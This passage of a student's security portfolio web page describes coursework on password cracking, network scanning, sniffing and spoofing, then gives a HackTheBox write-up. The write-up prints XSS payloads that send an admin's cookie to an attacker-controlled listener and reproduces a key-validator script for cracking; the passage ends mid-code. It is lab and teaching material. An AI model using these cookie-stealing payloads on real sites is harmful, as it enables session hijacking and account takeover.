succeed</p> <ul class="list-inline"> <li>Date: November 2019</li> <li>Client: Fontys</li> <li>Category: Cross-site request forgery</li> </ul> <button class="btn btn-primary" data-dismiss="modal" type="button"> <i class="fas fa-times"></i> Close Project </button> </div> </div> </div> </div> </div> </div> </div> <div class="portfolio-modal modal fade" id="portfolioModal12" tabindex="-1" role="dialog" aria-hidden="true"> <div class="modal-dialog"> <div class="modal-content"> <div class="close-modal" data-dismiss="modal"> <div class="lr"> <div class="rl"></div> </div> </div> <div class="container"> <div class="row"> <div class="col-lg-8 mx-auto"> <div class="modal-body"> <h2 class="text-uppercase">Fontys S4</h2> <p class="item-intro text-muted">Path traversal</p> <ul class="list-inline"> <li>Date: November 2019</li> <li>Client: Fontys</li> <li>Category: Path traversal</li> </ul> <button class="btn btn-primary" data-dismiss="modal" type="button"> <i class="fas fa-times"></i> Close Project </button> </div> </div> </div> </div> </div> </div> </div> <div class="portfolio-modal modal fade" id="portfolioModal13" tabindex="-1" role="dialog" aria-hidden="true"> <div class="modal-dialog"> <div class="modal-content"> <div class="close-modal" data-dismiss="modal"> <div class="lr"> <div class="rl"></div> </div> </div> <div class="container"> <div class="row"> <div class="col-lg-8 mx-auto"> <div class="modal-body"> <h2 class="text-uppercase">Fontys S4</h2> <p class="item-intro text-muted">Password cracking</p> <p>Now I'm going to show to basics of password cracking.</p> <p> There are a few main ways to crack passwords <ul> <li>Brute forcing</li> <li>Dictionary attacks</li> <li>Rainbow tables</li> </ul> </p> <p>Brute forcing is the most basic way to crack a password, it just tries every possible combination of letters. It has a few pros and some big cons.</p> <p>Brute forcing is rarely used these days just for the simple reason that cracking a modern encrypted password would take more then a lifetime. It also costs a lot of computing power because it generates the hashes on the fly and there are a lot of hashes to generate and try. The pro is though that it doesn't use any storage space because it generates everything instead of getting them for a wordlist. Brute forcing could be an option when you know that the password that you're cracking isn't a existing word but rather a string of random numbers and letters. Even though brute forcing might be the only option in that case, you're probably better off finding another way to get the password.</p> <p>Dictionary attacks are more sophisticated, it's way more efficient and faster but there a big con.</p> <p>Dictionary attacks use a predefined list of words and generates hashes for them and then compare them to the hash you want to crack to see if any of them match. The pro is that this is way faster. The downside on the other hand is that if the password you want to crack isn't in the word list you have no chance of success. The dictionary attack could be extended by generating multiple versions of every word some with captitals some with random numbers after them etc. A dictionary attack could also be made very personal and tailored to the specifications of your target. For example adding the targets place of work or pet names to the list. Also if you want more chance of success you'll need a bigger word list and those can grow pretty fast costing thus a lot of storage space.</p> <p>Rainbow tables are in essence a lot like dictionary attacks, but actually better.</p> <p>Rainbow tables contain like a dictionary attack a wordlist. The difference is that the wordlist is already hashed and could contain all possible solutions making a look like a brute force. You could for instance create a rainbow table having every possible solution making it a bruto force but more efficient costing less time, or generate hashes for your dictionary attack wordlist which might be reusable costing you less time in the future. Rainbow tables do come with some downsides like it costs a lot of harddisk space, less then a dictionary attack of the same size because it uses lossless compression, but if you want a lot of possibilities it will still be a big file. The hash type like MD5 or SHA256 is static thus making it less versatile/useful when you don't know the encryption type. Same goes for the salt, a salt could be added to the list but it will make the file even bigger. A problem that you won't have with a dictionary attack or brute force because the hashes get generated in the fly.</p> <p>A good way to make encrypted passwords harder to crack is by using a salt or a pepper. A salt is random data added to the password before it's hashed, and because it's different for every new password it gets stored alongside the password. This has a pro and a con. The pro is that the salt is different for every password meaning that if one password gets compromised the others are still save. The downside is though that if someone breaches the database he will know the salts for each password instantly. Now a pepper uses the same method to encrypt a password, it is random data and adds it to the password before it's hashed. But a pepper is static and is stored separately from the password hashes. Now this method has a pro and con as well. The pro is that if the database is breached the hacker won't know the pepper making cracking the passwords a lot harder. The con is that if he finds the pepper all the passwords are compromised, but to do that he might need to decompile the code and find the pepper, which is a lot harder than breaching the database most of the time.</p> <a href="../../img/portfolio/red/CrackHashGenerate.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/red/CrackHashGenerate.png" alt=""></a> <p>I created a small demonstration on hacking a simple MD5 hash. So I first of all created a hash for the string "password".</p> <a href="../../img/portfolio/red/CrackHashId.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/red/CrackHashId.png" alt=""></a> <p>If I would have stole this hash from some database I might not know the hash type, which is important for me to know if I want to save time or use a rainbow table. So I ran "Hash-identifier" and gave it the hash. This gives me an idea what the hash type might be.</p> <a href="../../img/portfolio/red/CrackHashFile.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/red/CrackHashFile.png" alt=""></a> <p>I placed the has in a file. In this case there's only one hash in there but in reality this list could contain all the hashes from a certain database.</p> <a href="../../img/portfolio/red/CrackHashResult.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/red/CrackHashResult.png" alt=""></a> <p>Now I used "Hashcat" to crack the password using a wordlist called "rockyou". This wordlist contains the most common password based on data breaches in the past. As you can see it cracked the password and it only took 1 second. Do mind that in this case the password was high up in the wordlist. The program only went through 0.03% of the entire wordlist, if the password was much lower in the list this would take a lot longer.</p> <ul class="list-inline"> <li>Date: November 2019</li> <li>Client: Fontys</li> <li>Category: Password cracking</li> </ul> <button class="btn btn-primary" data-dismiss="modal" type="button"> <i class="fas fa-times"></i> Close Project </button> </div> </div> </div> </div> </div> </div> </div> <div class="portfolio-modal modal fade" id="portfolioModal14" tabindex="-1" role="dialog" aria-hidden="true"> <div class="modal-dialog"> <div class="modal-content"> <div class="close-modal" data-dismiss="modal"> <div class="lr"> <div class="rl"></div> </div> </div> <div class="container"> <div class="row"> <div class="col-lg-8 mx-auto"> <div class="modal-body"> <h2 class="text-uppercase">Fontys S4</h2> <p class="item-intro text-muted">Network scanning and enumeration</p> <p>To create a demo for this a made up a scenario. The scenario is that I got VPN access to a place I want to hack and I want to know how the network looks like. This is no actual hack but mere a VPN tunnel to my own home.</p> <a href="../../img/portfolio/red/NetworkScanConnVPN.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/red/NetworkScanConnVPN.png" alt=""></a> <p>So I looked up in which IP range I was so I had a clue from which I could continue.</p> <a href="../../img/portfolio/red/NetworkScanDone.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/red/NetworkScanDone.png" alt=""></a> <p>I did a network scan using NMap in the ip range that I was connected to. As you can see on the left hand side there are some machines that came up in the scan which I could take a look at.</p> <a href="../../img/portfolio/red/NetworkScanTopology.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/red/NetworkScanTopology.png" alt=""></a> <p>I took a look at the topology of the network first. This is a easy way to get an overview of the network, all with connected routers, AP's and switches. I can also see in this diagram that there are some devices in red which mean they have 6 or more open ports, those devices might be more interesting to me</p> <a href="../../img/portfolio/red/NetworkScanNASHost.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/red/NetworkScanNASHost.png" alt=""></a> <p>I see that this machine is different from the rest, it's the only one running FreeBSD so that might be interesting.</p> <a href="../../img/portfolio/red/NetworkScanNASPorts.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/red/NetworkScanNASPorts.png" alt=""></a> <p>This machine has open ports for the smb protocol which could mean this is a NAS. I could use this information to go further and get for example access to the samba shares.</p> <a href="../../img/portfolio/red/NetWorkScanRouterHost.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/red/NetWorkScanRouterHost.png" alt=""></a> <p>Using the before mentioned topology graph I noticed that the router has a lot of open ports as well. Getting into a network's router could give me more access to other parts of the network.</p> <a href="../../img/portfolio/red/NetWorkScanRouterPorts.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/red/NetWorkScanRouterPorts.png" alt=""></a> <p>Here I can see that the router has some open ports for ssh, telnet and some webserver I can poke at.</p> <a href="../../img/portfolio/red/NetWorkScanDesktopHost.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/red/NetWorkScanDesktopHost.png" alt=""></a> <p>While looking at the topology graph I saw another machine with a lot of open ports so I took a look, and it looks like a windows machine.</p> <a href="../../img/portfolio/red/NetworkScanDesktopPorts.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/red/NetworkScanDesktopPorts.png" alt=""></a> <p>There are a few different open ports on this machine then other regular desktops. Like a MariaDB which I could try to access or take a look at the webserver. The Windows RPC protocol is running on an open port which I can utilize to get in because there are some known exploits for that.</p> <ul class="list-inline"> <li>Date: November 2019</li> <li>Client: Fontys</li> <li>Category: Network scanning and enumeration</li> </ul> <button class="btn btn-primary" data-dismiss="modal" type="button"> <i class="fas fa-times"></i> Close Project </button> </div> </div> </div> </div> </div> </div> </div> <div class="portfolio-modal modal fade" id="portfolioModal15" tabindex="-1" role="dialog" aria-hidden="true"> <div class="modal-dialog"> <div class="modal-content"> <div class="close-modal" data-dismiss="modal"> <div class="lr"> <div class="rl"></div> </div> </div> <div class="container"> <div class="row"> <div class="col-lg-8 mx-auto"> <div class="modal-body"> <h2 class="text-uppercase">Fontys S4</h2> <p class="item-intro text-muted">Network sniffing and spoofing</p> <p>I will show 2 little demos as a proof of concept.</p> <a href="../../img/portfolio/red/WiresharkHTTPSite.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/red/WiresharkHTTPSite.png" alt=""></a> <p>I have a "pi-hole" server running on my network that acts as my home dns server. It has a login screen for a dashboard with statistics but it is not HTTPS secured. So I tried catching the password with Wireshark while logging in.</p> <a href="../../img/portfolio/red/WiresharkHTTPResult.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/red/WiresharkHTTPResult.png" alt=""></a> <p>When I filter Wireshark to only HTTP and logged in in te website I can see my IP and the website's IP. When I open the packet and took a look what's inside, you can see the form post with password in plain text. Now this website doesn't hash the password so I can see the password in plain text, otherwise I would have seen a hash which I had to decrypt to get the password.</p> <a href="../../img/portfolio/red/ScapyPacket.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/red/ScapyPacket.png" alt=""></a> <p>I created a fake IPV4 packet using "scapy". I made it so that it looks like the packet is coming from google, but It's actually from me and I put my malicious code in it.</p> <a href="../../img/portfolio/red/WireSharkScapyPacket.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/red/WireSharkScapyPacket.png" alt=""></a> <p>I captured the packet with Wireshark and as you can see the source address is google, but when you look in the raw my malicious code is in there.</p> <ul class="list-inline"> <li>Date: November 2019</li> <li>Client: Fontys</li> <li>Category: Network sniffing and spoofing</li> </ul> <button class="btn btn-primary" data-dismiss="modal" type="button"> <i class="fas fa-times"></i> Close Project </button> </div> </div> </div> </div> </div> </div> </div> <div class="portfolio-modal modal fade" id="portfolioModal16" tabindex="-1" role="dialog" aria-hidden="true"> <div class="modal-dialog"> <div class="modal-content"> <div class="close-modal" data-dismiss="modal"> <div class="lr"> <div class="rl"></div> </div> </div> <div class="container"> <div class="row"> <div class="col-lg-8 mx-auto"> <div class="modal-body"> <h2 class="text-uppercase">Fontys S4</h2> <p class="item-intro text-muted">Law, Ethics and Responsible Disclosure</p> <p>The Ethics are both quite abstract though logical at the same time. The are written in an abstract manner in which they could apply to even other things than hacking. Thus making it logical as well. Many things you wouldn't do to someone in real life you wouldn't do online. I think it's the same point <a href="https://www.youtube.com/watch?v=HmZm8vNHBSU">these</a> guys tried to make, except badly executed.</p> <P>In my opinion the internet is one of the last few free places there are in the world. Though sometimes tightly controlled by governments, look at China or North-Korea, people still find ways around the system to express their voices. I agree with the ethics being like gentlemen rules, just don't be a dick to someone, don't do anything you wouldn't want to be done to yourself. But this doesn't include expressing your opinion even though it might hurt some people. On the internet you still got the right to say those things the same as people having the right to disagree and say something about it. While in the real world when you say something wrong people will call it a form of discrimination and you'll get prosecuted. Thus undermining the freedom of speech and creating more and more censorship.</P> <p>These are the responsible disclosures of companies I compared.</p> <ul> <li><a href="https://www.google.com/about/appsecurity/">Google</a></li> <li><a href="https://support.apple.com/en-us/HT201220">Apple</a></li> <li> <a href="https://fontys.nl/Over-Fontys/Organisatie-en-sturing/Onze-organisatieNieuw/Regelingen-statuten-en-reglementen/Responsible-disclosure-Fontys-Hogescholen.htm">Fontys</a> </li> </ul> <p>The first things that stood out to me was the rewards. While Google and Apple being big corporations reward the people with big sums of money, the Fontys rewards them by putting their name on the wall of fame. Looking at other smaller companies it is more common to give some merchandise, putting their names on the hall of fame or giving a small amount of money compared to the big numbers Google and Apple are giving as rewards.</p> <p>What they all have in common is that they want a full detailed report of what you did so they can reproduce the scenario. They all don't want you to make anything public before they had a chance to fix it and don't dig any deeper in sensitive date that is necessary to proof the vulnerability.</p> <p>They all also state that even though you did anything illegal while proofing the vulnerability, if you follow their responsible disclosure and follow their rules they won't pursue any legal actions.</p> <p>It is quite logical that companies don't prosecute these people and give them rewards instead, because if you think about it they will lose far less money when they pay these rewards then if they get hacked by a real threat. Looking at <a href="https://www.bugcrowd.com/bug-bounty-list/">this</a> website a lot of companies share that same ideology.</p> <ul class="list-inline"> <li>Date: December 2019</li> <li>Client: Fontys</li> <li>Category: Law, Ethics and Responsible Disclosure</li> </ul> <button class="btn btn-primary" data-dismiss="modal" type="button"> <i class="fas fa-times"></i> Close Project </button> </div> </div> </div> </div> </div> </div> </div> <div class="portfolio-modal modal fade" id="portfolioModal17" tabindex="-1" role="dialog" aria-hidden="true"> <div class="modal-dialog"> <div class="modal-content"> <div class="close-modal" data-dismiss="modal"> <div class="lr"> <div class="rl"></div> </div> </div> <div class="container"> <div class="row"> <div class="col-lg-8 mx-auto"> <div class="modal-body"> <h2 class="text-uppercase">Fontys S4</h2> <p class="item-intro text-muted">Basic hacking process</p> <p>First lets talk about the basic hacking process. This is a process most hackers will follow when conducting a hack, good or bad. Though good and bad use this process there is a key difference between the two.</p> <a href="../../img/portfolio/red/hackingstappen.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/red/hackingstappen.png" alt=""></a> <p>These are the basic hacking steps that are needed to conduct a good hack.</p> <h3>Intel Gathering</h3> <p>Intel gathering is the first step in the basic hacking process. In this step the hacker tries to gain as much information on his target as possible. He'll conduct for instance a OSINT, go to the physical location of his target and get a feel for the place and maybe even use social engineering to call his target and try to extract information.</p> <h3>Footprint</h3> <p>Now the hacker will conduct a network scan and try to gain as much information on the target's network as possible. He needs to find a foothold from which he can continue further, think about ip ranges, open ports, OS versions and important servers.</p> <h3>Vuln Analysis</h3> <p>The hacker will now look for any out of date software or operating systems to use exploits on. Whenever he'll find a software version he'll look if there's a CVE entry for that he could exploit. He might also use some automated tools to find common vulnerabilities for him. The hacker will also try any website for web vulnerabilities like SQL injection, command injection, CSRF and XSS.</p> <h3>Exploitation</h3> <p>Now is time for action. The hacker will use the information and vulnerabilities he found in the previous step to use his exploits. Thus gaining access to his target or the information he's after. Most ethical hackers/pentesters will stop after this step or not even do this step at all because it might result in destabilizing or shutting down the targets network.</p> <h3>Post Exploitation</h3> <p>This step and the following is more applicable to the bad actors out there. Here the hacker will extract the data he's after, edit some data, create new accounts and setup persistence for a backdoor so he can come back later without going through the same process again or have the risk of the target patching the vulnerability he used.</p> <h3>Clean Up</h3> <p>This step is very important for bad actors to not get caught. Here the hacker will try to remove all of his footsteps like logs. Therefore the police or target will not be able to track him down or even know what he did in the first place.</p> <a href="../../img/portfolio/red/Cyber-Kill-Chain.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/red/Cyber-Kill-Chain.png" alt=""></a> <p>Now this is the cyber kill chain even though it's comparable to the basic hacking process there are some differences.</p> <h3>Reconnaissance</h3> <p>Here the hacker will conduct recon comparable to the intel gathering stage in the basic hacking process.</p> <h3>Weaponization</h3> <p>In this step the hacker is already creating a payload with an exploit to attack his target. It is notable that in the cyber killchain they skip the footprint and vuln analysis stages.</p> <h3>Delivery</h3> <p>Now the payload is to be delivered to the target this can be done by phising email, rubber ducky and so on. This stage is also not present in the basic hacking process, there it's more part of the exploitation stage.</p> <h3>Exploitation</h3> <p>When the payload is delivered the hacker will activate his attack.</p> <h3>Installation</h3> <p>In this stage the hacker will install for example malware to create persistence for a backdoor or to act more stealthy. This would happen in the post exploitation stage in the basic hacking process.</p> <h3>Command & Control</h3> <p>Now the installed malware will call back to the command and control system and give the hacker control of the hacked system. This can be both part of the exploitation and post exploitation stage in the basic hacking process.</p> <h3>Actions on Objectives</h3> <p>Here the hacker will do whatever his intentions were.</p> <h4>The minimal requirements for a good pentest contract and pentest report</h4> <p>In a good pentest contract there should be a clearly defined scope and procedures in case of emergency. The contract should also include a confidentiality agreement. The pentest report should include the scope and goal of the project with the findings and how it was done. It should be explained very carefully and readable for people that weren't aware of the project. The most important thing is ofcourse the advice to give to the company, this way they'll be able to fix any security leaks and the pentest was a success.</p> <ul class="list-inline"> <li>Date: January 2020</li> <li>Client: Fontys</li> <li>Category: Basic hacking process</li> </ul> <button class="btn btn-primary" data-dismiss="modal" type="button"> <i class="fas fa-times"></i> Close Project </button> </div> </div> </div> </div> </div> </div> </div> <div class="portfolio-modal modal fade" id="portfolioModal18" tabindex="-1" role="dialog" aria-hidden="true"> <div class="modal-dialog"> <div class="modal-content"> <div class="close-modal" data-dismiss="modal"> <div class="lr"> <div class="rl"></div> </div> </div> <div class="container"> <div class="row"> <div class="col-lg-8 mx-auto"> <div class="modal-body"> <h2 class="text-uppercase">Fontys S4</h2> <p class="item-intro text-muted">Self reflection</p> <p>The semester started quite slowly for me. It wasn't really clear for me were I should start and were I should look for the right information. This semester was quite different from the defending one. In the defending semester everything went quite easy and smooth and I had a clear goal that I wanted to achieve, I felt like I missed that this semester, hens why it didn't start so smoothly.</p> <p>I started this semester with absolutely no knowledge in hacking into things. I learned quite a lot this semester, must of the things I learned listening to podcasts and understanding the different concepts and trying different things on DVWA.</p> <p>I still don't really feel like I could actually conduct a good pentest and find some decent results after this semester which I think sucks, because I feel like I should. I do think I've the knowledge but I feel like I lack the How-to. I did think I would be quite good at defending a network and building one after previous semester, so I think it's a combination between a lack of goals and guidance.</p> <ul class="list-inline"> <li>Date: January 2020</li> <li>Client: Fontys</li> <li>Category: Self reflection</li> </ul> <button class="btn btn-primary" data-dismiss="modal" type="button"> <i class="fas fa-times"></i> Close Project </button> </div> </div> </div> </div> </div> </div> </div> <div class="portfolio-modal modal fade" id="portfolioModal19" tabindex="-1" role="dialog" aria-hidden="true"> <div class="modal-dialog"> <div class="modal-content"> <div class="close-modal" data-dismiss="modal"> <div class="lr"> <div class="rl"></div> </div> </div> <div class="container"> <div class="row"> <div class="col-lg-8 mx-auto"> <div class="modal-body"> <h2 class="text-uppercase">Cyber4Z</h2> <p class="item-intro text-muted">My internship at Cyber4Z</p> <p>DESCRIPTION GOES HERE</p> <a href="PICTURE"><img class="img-fluid d-block mx-auto" src="SOURCE" alt=""></a> <ul class="list-inline"> <li>Date: June 2021</li> <li>Client: Cyber4Z</li> <li>Category: Internship</li> </ul> <button class="btn btn-primary" data-dismiss="modal" type="button"> <i class="fas fa-times"></i> Close Project </button> </div> </div> </div> </div> </div> </div> </div> <div class="portfolio-modal modal fade" id="portfolioModal20" tabindex="-1" role="dialog" aria-hidden="true"> <div class="modal-dialog"> <div class="modal-content"> <div class="close-modal" data-dismiss="modal"> <div class="lr"> <div class="rl"></div> </div> </div> <div class="container"> <div class="row"> <div class="col-lg-8 mx-auto"> <div class="modal-body"> <h2 class="text-uppercase">Fontys S7</h2> <p class="item-intro text-muted">Pen-testing methodologies</p> <p>The standard and most popular pentest methodology is the Lockheed Martin cyber killchain. It's a basic process that explains the order of action a criminal hacker would follow. Thus also making it a viable ethical hacker methodology.</p> <a href="img/portfolio/minor/red/pentest_methods/cyber-kill-chain-process.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/pentest_methods/cyber-kill-chain-process.png" alt=""></a> <p>Knowing what step a attacker is taking or needs to take is good to know. But it's also good to know how to mitigate or prevent each step of the cyber killchain.</p> <a href="img/portfolio/minor/red/pentest_methods/cyberkillprev.jpg"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/pentest_methods/cyberkillprev.jpg" alt=""></a> <p>Other than the Lockheed Martin cyber killchain there are a few other frameworks/methodologies, like the well-known OWASP.</p> <ol> <li>OSSTMM (Open Source Security Testing Methodology Manual)</li> <li>OWASP (Open Web Application Security Project)</li> <li>NIST (The National Institute of Standards and Technology)</li> <li>PTES (Penetration Testing Methodologies and Standards)</li> <li>ISSAF (Information System Security Assessment Framework)</li> </ol> <a href="https://www.vumetric.com/blog/top-penetration-testing-methodologies/">Source</a> <p><b>OSSTMM</b> is a peer-reviewed security assessment standard for testing and auditing systems and providing them with a risk score</p> <p><b>OWASP</b> is used as a methodology to pentest websites and web applications.</p> <p><b>NIST</b> is a very strict standard and they promote themselves as functionality driven. They mainly focus on helping federal agencies comply with regulations.</p> <p><b>PTES</b> is a structured approach to pentesting and looks a lot like the Lockheed Martin cyber killchain.</p> <p><b>ISSAF</b> is a pentesting methodology where the pentester imitates a hacker. This also looks a lot like the Lockheed Martin cyber killchain.</p> <p>Apart from all these methodologies there's another well known entity known by not only red teamers but also well-known by the blue teamers. This framework is known as the <a href="https://attack.mitre.org/">Mitre ATT&CK Framework</a> this framework contains almost every possible way to attack a network or machine.</p> <p>I've used the Mitre ATT&CK framework a lot when monitoring the SOC in my home network. Wazuh automatically categorizes the incoming alert in the Mitre ATT&CK framework. On the opposite side from te red teamer perspective I've used OWASP and the Lockheed Martin cyber killchain a lot. Mostly when performing pentests but also when cracking machines on Hackthebox and when participating in CTF events.</p> <ul class="list-inline"> <li>Date: September 2021</li> <li>Client: Fontys</li> <li>Category: Minor Red-teaming</li> </ul> <button class="btn btn-primary" data-dismiss="modal" type="button"> <i class="fas fa-times"></i> Close Project </button> </div> </div> </div> </div> </div> </div> </div> <div class="portfolio-modal modal fade" id="portfolioModal21" tabindex="-1" role="dialog" aria-hidden="true"> <div class="modal-dialog"> <div class="modal-content"> <div class="close-modal" data-dismiss="modal"> <div class="lr"> <div class="rl"></div> </div> </div> <div class="container"> <div class="row"> <div class="col-lg-8 mx-auto"> <div class="modal-body"> <h2 class="text-uppercase">Fontys S7</h2> <p class="item-intro text-muted">HackTheBox Linux Write-up</p> <a href="img/portfolio/minor/red/htb_linux/EarlyAccessCard.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/EarlyAccessCard.png" alt=""></a> <p>First lets start with the basic enumeration and do a NMap.</p> <code>sudo nmap -v -A -sS earlyaccess.htb</code> <a href="img/portfolio/minor/red/htb_linux/NMapOutput.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/NMapOutput.png" alt=""></a> <p>From the scan we can see that port 80 (http), 443 (https) and 22 (ssh) are open. Nothing special to see here really. Maybe we'll have more luck in finding something with GoBuster.</p> <code>gobuster dir -x 'php, xml, html, js, css, txt, md' -u earlyaccess.htb -w /usr/share/wordlists/dirbuster/directory-list-lowercase-2.3-medium.txt</code> <a href="img/portfolio/minor/red/htb_linux/GoBusterOutput.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/GoBusterOutput.png" alt=""></a> <p>From the looks of it all the tries get redirected and these are all false positives. Let's try Ffuf as a last enumeration method in order to find hidden subdomains.</p> <code>ffuf -c -w /usr/share/wordlists/dirb/big.txt -u http://earlyaccess.htb -H "Host: FUZZ.earlyaccess.htb" -mc 200</code> <a href="img/portfolio/minor/red/htb_linux/FfufOutput.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/FfufOutput.png" alt=""></a> <p>Looks like we got a few interesting hits. So I'll add those to my /etc/Hosts file so we can take a look at them later on. So let's create a test account on the main page and let's see what we can find.</p> <a href="img/portfolio/minor/red/htb_linux/LoggedInAsTestUser.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/LoggedInAsTestUser.png" alt=""></a> <p>Interesting we can see a messaging service, a forum, a store and a place to register a key. We can also edit our own account. Let's take a look at the forum.</p> <a href="img/portfolio/minor/red/htb_linux/SingleQuoteForum.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/SingleQuoteForum.png" alt=""></a> <p>Some guy on the forum told the staff that his username caused an issue on the scoreboard, and because his username is SingleQuoteMan I feel like this is a nod towards either XSS or SQLI. We can probably steal a cookie from the admin if we use XSS in our username, because it will run when we message a staff member for support.</p> <a href="img/portfolio/minor/red/htb_linux/SendingMessage.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/SendingMessage.png" alt=""></a> <p>Now we'll just need to find a XSS script that will steal the cookie for us so we can use it. I tried a fair number of PHP cookie stealers but with out any luck.</p> <p> I tried to follow this guide <a href="https://null-byte.wonderhowto.com/how-to/write-xss-cookie-stealer-javascript-steal-passwords-0180833/">https://null-byte.wonderhowto.com/how-to/write-xss-cookie-stealer-javascript-steal-passwords-0180833/</a> and tried a number of different XSS scripts. </p> <code class="prettyprint"><img src=x onerror=this.src='http://10.10.14.40:8888/'</code> <a href="img/portfolio/minor/red/htb_linux/PHPCookieStealer.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/PHPCookieStealer.png" alt=""></a> <code class="prettyprint"><iframe src=http://10.10.14.40:8888/shell.php height=”0” width=”0”></iframe></code> <p>But none of these worked. I did manage to steal my own cookie but when I tried stealing the admin's I get an "Unsupported ssl" error. So I probably have to make the cookie stealer server run on https. But before that I wanted to try to steal it one more time without using Java Springboot.</p> <a href="img/portfolio/minor/red/htb_linux/JavaCookieStealer.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/JavaCookieStealer.png" alt=""></a> <p>It was a longshot but worth the try because Springboot does a lot of stuff underwater and it just works most of the time. I used another XSS script as well because the other ones spammed my terminal full of bogus output.</p> <code class="prettyprint"><script>document.location="http://10.10.14.88:8888/cookie?c=" + document.cookie</script></code> <a href="img/portfolio/minor/red/htb_linux/AdminCookieJava.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/AdminCookieJava.png" alt=""></a> <p>And this worked! We got the admin cookie now all that's left is to change our cookie to the admin's and refresh the page!</p> <a href="img/portfolio/minor/red/htb_linux/LoggedInAsAdmin.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/LoggedInAsAdmin.png" alt=""></a> <p>We are logged in as admin but now what? From the looks of it we got a few new tabs in the navbar. Game and Dev are the subdomains we've already found but admin could be interesting.</p> <a href="img/portfolio/minor/red/htb_linux/ValidateAPI.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/ValidateAPI.png" alt=""></a> <p>It is an admin panel mostly used to validate game keys.</p> <a href="img/portfolio/minor/red/htb_linux/GameKeyForum.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/GameKeyForum.png" alt=""></a> <p>If we look back at the forum we can see that they are having trouble validating the game keys and that they resorted to an offline manual method. Let's download the offline key validator and see what we can find.</p> <pre style="text-align: left"> <code class="prettyprint"> #!/usr/bin/env python3 import sys from re import match class Key: key = "" magic_value = "XP" # Static (same on API) magic_num = 346 # TODO: Sync with API (api generates magic_num every 30min) def __init__(self, key:str, magic_num:int=346): self.key = key if magic_num != 0: self.magic_num = magic_num @staticmethod def info() -> str: return f""" # Game-Key validator # Can be used to quickly verify a user's game key, when the API is down (again). Keys look like the following: AAAAA-BBBBB-CCCC1-DDDDD-1234 Usage: {sys.argv[0]} <game-key>""" def valid_format(self) -> bool: return bool(match(r"^[A-Z0-9]{5}(-[A-Z0-9]{5})(-[A-Z]{4}[0-9])(-[A-Z0-9]{5})(-[0-9]{1,5})$", self.key)) def calc_cs(self) -> int: gs = self.key.split('-')[:-1] return sum([sum(bytearray(g.encode())) for g in gs]) def g1_valid(self) -> bool: g1 = self.key.split('-')[0] r = [(ord(v)<<i+1)%256^ord(v) for i, v in enumerate(g1[0:3])] if r != [221, 81, 145]: return False for v in g1[3:]: try: int(v) except: return False return len(set(g1)) == len(g1) def g2_valid(self) -> bool: g2 = self.key.split('-')[1] p1 = g2[::2] p2 = g2[1::2] return sum(bytearray(p1.encode())) == sum(bytearray(p2.encode())) def g3_valid(self) -> bool: # TODO: Add mechanism to sync magic_num with API g3 = self.key.split('-')[2] if g3[0:2] == self.magic_value: return sum(bytearray(g3.encode())) == self.magic_num else: return False def g4_valid(self) -> bool: return [ord(i)^ord(g) for g, i in zip(self.key.split('-')[0], self.key.split('-')[3])] == [12, 4, 20, 117, 0] def cs_valid(self) -> bool: cs = int(self.key.split('-')[-1]) return self.calc_cs() == cs def check(self) -> bool: if not self.valid_format(): print('Key format invalid!') return False if not self.g1_valid(): return False if not self.g2_valid(): return False if not self.g3_valid(): return False if not self.g4_valid(): return False if not self.cs_valid(): print('[Critical] Checksum verification failed!') return False return True if __name__ == "__main__": if len(sys.argv) != 2: print(Key.info()) sys.exit(-1) input = sys.argv[1] validator = Key(input) if validator.check(): print(f"Entered key is valid!") else: print(f"Entered key is invalid!") </code> </pre> <p>This is the original code it looks like they validate the key in parts so if we can reverse engineer these parts we can find out how to crack the key.</p> <a href="img/portfolio/minor/red/htb_linux/PythonCompiler.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/PythonCompiler.png" alt=""></a> <p>I put the Python code in an online compiler and removed all the functions and made it into a script. Then I put all the results in variables so we can see if a try is valid.</p> <pre style="text-align: left"> <code class="prettyprint"> from re import match class Key: key = "KEY01-0H0H0-XPAA0-GAME1-1295" #defaultkey=AAAAA-BBBBB-CCCC1-DDDDD-1234 magic_value = "XP" # Static (same on API) magic_num = 346 # TODO: Sync with API (api generates magic_num every 30min) valid = False cs_value = 0 cs_valid = False g1_valid = False g2_valid = False g3_valid = False g4_valid = False valid = bool(match(r"^[A-Z0-9]{5}(-[A-Z0-9]{5})(-[A-Z]{4}[0-9])(-[A-Z0-9]{5})(-[0-9]{1,5})$", key)) print("valid_format: ", valid) gs = key.split('-')[:-1] cs_value = 